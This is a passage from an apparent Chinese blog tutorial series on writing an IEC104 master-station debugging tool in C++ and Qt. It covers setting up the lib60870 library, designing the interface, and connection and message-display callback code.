        int row = item->row();
        m_addrHash.insert(address,item);
        ui->tableWidget->setItem(row,1,new QTableWidgetItem(value));
        ui->tableWidget->setItem(row,2,new QTableWidgetItem(typeStr));
        ui->tableWidget->setItem(row,3,new QTableWidgetItem(causeStr));
        ui->tableWidget->setItem(row,4,new QTableWidgetItem(quStr));
        ui->tableWidget->setItem(row,5,new QTableWidgetItem(time));
    }
    ui->tableWidget->update();}

4.运行演示

5.总结

本章主要描述IEC104主站软件遥信、遥测数据的解析和部分代码，其它类型标识数据解析方法类似，其中传输原因和数据品质需在软件启动时进行初始化。
下期分享IEC104主站调试软件遥控、遥调功能。

基于C++和Qt开发IEC104规约主站调试软件（第二章）

Wed, 10 Sep 2025 11:55:25 +0800

1.界面设计

2.连接从站

3.总结

基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：
开发成果展示：https://live.csdn.net/v/473582
IEC104通讯规约知识学习：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210
第一章内容：https://blog.csdn.net/liangwwe0/article/details/147241304?spm=1011.2124.3001.6209

1.界面设计

使用Qt Designer打开mainwindow.ui文件绘制IEC104功能界面，参考如下：

界面中包含连接从站的ip和端口控件QLineEdit，报文显示控件QTextEdit,解析后数据显示控件QTableWidget，以及一些功能按钮QPushButton和布局器。

2.连接从站

点击连接按钮连接从站，部分代码示例：

void MainWindow::click_conButton(){
    if(m_iec104con){
        CS104_Connection_destroy(m_iec104con);
        m_iec104con = nullptr;
    }
    //创建连接对象
    m_iec104con = CS104_Connection_create(ui->ipEdit->text().toUtf8().constData(), ui->portEdit->text().toInt());
    //设置连接事件句柄
    CS104_Connection_setConnectionHandler(m_iec104con, connectionHandler, this);
    //设置数据接收事件句柄
    CS104_Connection_setASDUReceivedHandler(m_iec104con, asduReceivedHandler, this);
    //设置报文打印事件句柄
    CS104_Connection_setRawMessageHandler(m_iec104con, rawMessageHandler, this);

    //开始进行TCP网络连接
    if (CS104_Connection_connect(m_iec104con)){
        //tcp连接成功,启动iec104连接
        CS104_Connection_sendStartDT(m_iec104con);
    }
    else{
        ui->textEdit->append("连接从站失败");
        ui->conButton->setText(QString::fromUtf8("连接"));
        ui->conButton->setEnabled(true);
    }}

连接回调函数代码示例：

void MainWindow::connectionHandler(void *parameter, CS104_Connection connection, CS104_ConnectionEvent event){
    if(parameter==nullptr)
        return;
    MainWindow *that = (MainWindow*)parameter;
    switch (event) {
    case CS104_CONNECTION_OPENED://完成TCP网络连接
        qDebug()<<QString("IEC104 Master connection established");
        break;
    case CS104_CONNECTION_CLOSED://104主站关闭连接
        emit that->showMessageSignal("主站已关闭连接",-1);
        that->ui->conButton->setText(QString::fromUtf8("连接"));
        that->ui->conButton->setEnabled(true);
        break;
    case CS104_CONNECTION_STARTDT_CON_RECEIVED://连接104从站成功
    {
        emit that->showMessageSignal("连接从站成功",-1);
        that->ui->conButton->setText("断开");
        that->ui->conButton->setEnabled(true);
        that->ui->analysisButton->setDisabled(true);
    }
    break;
    case CS104_CONNECTION_STOPDT_CON_RECEIVED://104从站
        emit that->showMessageSignal("从站关闭连接",-1);
        that->ui->conButton->setText(QString::fromUtf8("连接"));
        that->ui->conButton->setEnabled(true);
        break;
    }}

报文打印回调函数代码示例：

void MainWindow::rawMessageHandler(void *parameter, uint8_t *msg, int msgSize, bool sent){
    if(parameter==nullptr)
        return;
    MainWindow *that = (MainWindow*)parameter;
    QByteArray data = QByteArray(reinterpret_cast<const char*>(msg),msgSize);
    int type =0;
    if (sent)
        type = 0;
    else
        type = 1;
    emit that->showMessageSignal(data.toHex(' ').toUpper(),type);
}

连接功能成果展示（需本地启用一个从站进行模拟测试）

3.总结

本章节主要讲解iec104主站软件界面设计和从站的连接功能以及部分功能代码的展示，连接函数（CS104_Connection_connect）是阻塞的，当网络不好或连接参数不正确时，连接耗时会导致界面阻塞。所以在实际应用项目中，建议将连接功能放入子线程中，主线上用来刷新UI展示数据。
下期分享IEC104主站软件解析处理遥信、遥测数据。

基于C++和Qt开发IEC104规约主站调试软件（第一章）

Wed, 10 Sep 2025 11:43:43 +0800

第一章：开发环境搭建

一、开发前准备
二、搭建开发环境
三、创建Qt工程
四、导入态库文件和头文件
五、总结

基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：
开发成果展示： https://live.csdn.net/v/473582
IEC104通讯规约知识学习：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210

一、开发前准备

开发工具：Windows10+Qt Creator
开发语言：C++
Qt版本：Qt5.15.2
IEC104开源库：lib60870-2.3.1（下载地址：https://libiec61850.com/wp-content/uploads/2022/03/lib60870-2.3.1.tar.gz）

二、搭建开发环境

使用cmake3.26+VS2019编译lib60870-2.3.1开源库（需要安装cmake和vs2019），生成动态库文件，也可以直接将lib60870-2.3.1源码导入到Qt工程中直接开发。我这里是将lib60870-2.3.1开源库编译成了动态库，编译方法是首先使用cmake将lib60870-2.3.1开源库生成vs工程，使用vs2019打开工程编译直接生成动态库。
1.cmake生成vs工程文件：

2.使用vs编译开源库生成动态库文件

在对应目录下生成了动态库lib60870.dll和静态库lib60870.lib，方便后面开发使用

三、创建Qt工程

1.Qt编译器设置
2.工程创建

四、导入态库文件和头文件

1.Qt工程中目录下创建lib文件夹存放库文件，创建inc文件存放头文件

lib文件夹存放库文件

inc文件夹存放头文件

2.将头文件和库文件配置到Qt工程文件中

3.引用开源库头文件

五、总结

以上就完成了IEC104规约主站调试软件开发前期环境搭建工作，下期分享IEC104规约主站软件界面设计和通讯功能。